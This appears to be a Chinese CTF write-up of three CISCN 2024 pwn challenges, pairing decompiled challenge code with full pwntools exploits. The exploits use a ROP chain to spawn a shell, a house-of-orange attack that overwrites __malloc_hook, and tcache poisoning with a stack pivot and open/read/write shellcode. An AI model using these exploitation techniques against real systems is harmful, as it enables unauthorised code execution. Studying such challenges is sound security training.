nyyyddddn

ciscn_pwn

2024/05/22

gostack

栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.133.9"
PORT = 17425

elf = context.binary = ELF('./gostack')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000

payload = b'a' * 0x100
payload += p64(bss + 0x50)
payload += p64(0x50)
payload += b'a' * 0x20
payload += p64(bss)
payload += p64(0x100)
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rax)
payload += p64(0)
payload += p64(rsi)
payload += p64(bss)
payload += p64(rdx)
payload += p64(8)
payload += p64(syscall)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(syscall)

sla('message',payload)
# g(p)


time.sleep(0.3)
s(b'/bin/sh\x00')




p.interactive()

orange_cat_diary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_B26(a1, a2, a3);
puts("Hello, I'm delighted to meet you. Please tell me your name.");
memset(s, 0, 0x20uLL);
read(0, s, 0x1FuLL);
printf("Sweet %s, please record your daily stories.\n", s);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 2 )
break;
show();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
delete();
}
else if ( choice == 4 )
{
edit();
}
}
else if ( choice == 1 )
{
add();
}
}
}

int menu()
{
puts("\n##orange_cat_diary##\n");
puts("1.Add diary");
puts("2.Show diary");
puts("3.Delete diary");
puts("4.Edit diary");
puts("5.Exit");
return printf("Please input your choice:");
}

__int64 sub_DE9()
{
if ( dword_202014 > 0 )
{
fwrite(ptr, 1uLL, dword_202058, stdout);
--dword_202014;
}
puts("Diary view successful.");
return 0LL;
}

__int64 sub_D83()
{
if ( dword_202010 > 0 )
{
free(ptr);
--dword_202010;
}
puts("Diary deletion successful.");
return 0LL;
}

__int64 sub_CD9()
{
int choice; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
choice = get_choice();
if ( dword_202058 + 8 < (unsigned int)choice )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
puts("Please enter the diary content:");
read(0, ptr, choice);
puts("Diary modification successful.");
return 0LL;
}

__int64 sub_BF5()
{
int choice; // [rsp+4h] [rbp-Ch]

printf("Please input the length of the diary content:");
choice = get_choice();
if ( (unsigned int)choice > 0x1000 )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
ptr = malloc(choice);
if ( !ptr )
{
puts("Memory allocation failed.");
exit(1);
}
dword_202058 = choice;
puts("Please enter the diary content:");
read(0, ptr, dword_202058);
puts("Diary addition successful.");
return 0LL;
}

利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "8.147.128.251"
PORT = 43423

elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
p.sendlineafter("Please input your choice","1")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)

def show():
p.sendlineafter("Please input your choice","2")

def delete():
p.sendlineafter("Please input your choice","3")

def edit(size,content):
p.sendlineafter("Please input your choice","4")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)


ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)


add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))

add(0x1000,b'A') # hosue of orange
add(0x408,b'A')

show()


r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL


add(0x68,b"BBBB\n")
delete()

edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))



p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))



p.interactive()

EzHeap

题目的逻辑是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-34h] BYREF
__int64 v4[6]; // [rsp+10h] [rbp-30h]

v4[5] = __readfsqword(0x28u);
init();
seccomp_init_0();
v4[0] = (__int64)malloc_heap;
v4[1] = (__int64)free_heap;
v4[2] = (__int64)edit_heap;
v4[3] = (__int64)show_heap;
v4[4] = (__int64)exit_programe;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 <= 0 || v3 > 5 )
puts("Invalid choice");
else
((void (*)(void))v4[v3 - 1])();
}
}

unsigned __int64 malloc_heap()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
;
if ( i <= 79 )
{
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
*((_QWORD *)&chunk_list + i) = malloc((int)size);
memset(*((void **)&chunk_list + i), 0, (int)size);
size_list[i] = (int)size;
printf("content:");
read(0, *((void **)&chunk_list + i), (int)size);
}
else
{
puts("full heap! ");
}
return v3 - __readfsqword(0x28u);
}

unsigned __int64 free_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(0);
}
free(*((void **)&chunk_list + (int)v1));
*((_QWORD *)&chunk_list + (int)v1) = 0LL;
return v2 - __readfsqword(0x28u);
}

unsigned __int64 edit_heap()
{
unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &idx);
if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
{
puts("error!");
exit(0);
}
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
printf("content:");
read(0, *((void **)&chunk_list + (int)idx), (int)size);
return v3 - __readfsqword(0x28u);
}

unsigned __int64 show_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(1);
}
printf("content:");
printf("%s", *((const char **)&chunk_list + (int)v1));
return v2 - __readfsqword(0x28u);
}

void __noreturn exit_programe()
{
exit(0);
}

有一个只允许orw的沙箱,glibc 2.35,存在堆溢出,首先是构造堆叠泄露libc基地址 tache key 和堆基地址,然后利用溢出打两次任意地址分配的tcache poison,第一次泄露出environ得到栈地址,然后找到栈帧的rbp和返回地址的位置,栈迁移到堆上rop,之后mprotect变成shellcode版本的orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./EzHeap')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
sla("choice","1")
sla("size:",str(size))
sa("content:",content)

def delete(idx):
sla("choice","2")
sla("idx:",str(idx))

def edit(idx,size,content):
sla("choice","3")
sla("idx:",str(idx))
sla("size:",str(size))
sa("content:",content)

def show(idx):
sla("choice","4")
sla("idx:",str(idx))


for i in range(6):
add(0x88,"AAAAAAAA")

# 6 - 12 tcache
# 13 heap overlap
# 14 chunk
# 15 unsorted bin



for i in range(11):
add(0x88,"BBBBBBBB")

edit(12,0x90,b'A' * 0x88 + p64(0x101))

for i in range(6,13):
delete(i)

delete(15)
delete(13)

add(0xf8,"BBBBBBBB")
edit(6,0x120,b'B' * 0x120)
show(6)


ru(b"B" * 0x120)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7dcae2a1ace0 - 0x7dcae2800000)
success(hex(libc_base))
edit(6,0x120,b'B' * 0x118 + p64(0x91))

environ = libc_base + libc.sym['__environ']
mprotect = libc_base + libc.sym['mprotect']

for i in range(7):
add(0x88,"AAAA")

add(0x88,"BBBB")

delete(16)
edit(6,0x1b0,b'B' * 0x1b0)

show(6)
ru(b'B' * 0x1b0)
leak = u64(p.recv(5).ljust(8)) << 12
heap_base = (leak & 0xffffffffffffff) - (0x57c9c5039000 - 0x57c9c5037000)
success(hex(heap_base))


edit(6,0x1b8,b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
show(6)
ru(b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
key = u64(r(8))
success(hex(key))

edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(heap_base >> 12))


add(0x88,"BBBB") # 16
add(0x88,"CCCC") # 17


delete(17)
delete(16)

pos = heap_base + 0x2940
target = (environ - 0x80) ^ (pos >>12)
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(target))



add(0x88,"DDDD")
add(0x80,"D" * 0x80) # 17
show(17)
ru(b"D" * 0x80)

leak_stack = u64(r(6).ljust(8,b'\x00'))
success(hex(leak_stack))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
mprotect = libc_base + libc.sym['mprotect']
leave_ret = libc_base + 0x000000000004da83


rrr = heap_base + 0x2aa8 + 0x8


payload = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000 + 0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect)
payload += p64(rrr)
payload += b'./flag\x00\x00'

payload += asm(f'''
mov rdi,{rrr - 0x8}
mov rsi,0
mov rax,2
syscall

mov rdi,3
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,0
syscall

mov rdi,1
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,1
syscall


''')


payload_addr = heap_base + (0x6219f663ba60 - 0x6219f6639000)
add(0x200,payload)


edit(6,0x100,b'a' * 0x88 + p64(0x91) + b'\x00' * 0x10)

delete(16)
delete(14)


rbp = leak_stack - (0x7ffedc8a1868 - 0x7ffedc8a16f0)
pos = heap_base + (0x56576dc75820 - 0x56576dc73000)
target = rbp ^ (pos >> 12)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + p64(target))



success(hex(leak_stack))
add(0x88,p64(0x114514) * 2)
# g(p)
add(0x88,p64(payload_addr - 0x8) + p64(leave_ret))





p.interactive()
CATALOG
  1. 1. gostack
  2. 2. orange_cat_diary
  3. 3. EzHeap